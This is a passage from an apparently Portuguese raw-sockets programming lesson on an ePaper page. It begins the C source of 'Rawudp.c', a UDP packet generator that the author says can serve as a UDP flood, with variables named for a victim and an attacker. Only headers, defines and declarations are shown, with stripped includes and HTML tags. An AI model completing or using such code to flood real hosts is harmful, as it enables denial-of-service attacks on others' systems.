Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
para Linux e não softwares da M$. Tive a felicidade de converter alguns<br />
leitores para o mundo do Linux e do Software Livre, criando assim<br />
desenvolvedores em potencial.<br />
Bem nesta última lição vamos mostrar um gerador de pacotes UDP, que<br />
pode ser utilizado como um UDP flood. Vamos juntar o conehcimento de<br />
nossa últma lição com a descrição mais profunda do cabeçalho UDP em<br />
raw sockets.<br />
O código :<br />
Abaixo segue o código de nossa aplicação :<br />
/*Rawudp.c – Gerador de pacotes UDP*/<br />
/*Por Antonio Marcelo */<br />
/* Para compilar digite : */<br />
/* gcc –o rawudp rawudp.c */<br />
#include <br />
#include <br />
#include <br />
#include <br />
#include <br />
#include <br />
#include <br />
#include <br />
#include <br />
/*Declaracao de algumas variaveis uteis*/<br />
#define TAM_UDPHDR sizeof(struct udphdr)<br />
#define TAM_IPHDR sizeof(struct iphdr)<br />
#define porta 110 /*porta destino dos pacotes*/<br />
#define pacotes 50 /*numero de pacotes UDP enviados. Aqui pode<br />
acontecer o flood*/<br />
unsigned short in_cksum(u_short *addr, int len);<br />
/*Decalaracao da funcao de envio de pacotes UDP via raw sockets */<br />
void udp_send(int msocket, unsigned long end_origem,unsigned long<br />
end_destino,unsigned short porta_orig, unsigned short<br />
porta_dest,<br />
char *datagrama, unsigned datasize);<br />
main(void){<br />
int msocket, i;<br />
/*variaveis importantes*/<br />
char *data="envio de datagrama",datagrama[30];<br />
struct sockaddr_in vitima;<br />
struct sockaddr_in atacante;<br />
unsigned long ip_origem, ip_destino;<br />
unsigned long end_origem, end_destino;<br />
unsigned short porta_origem, porta_destino;<br />
52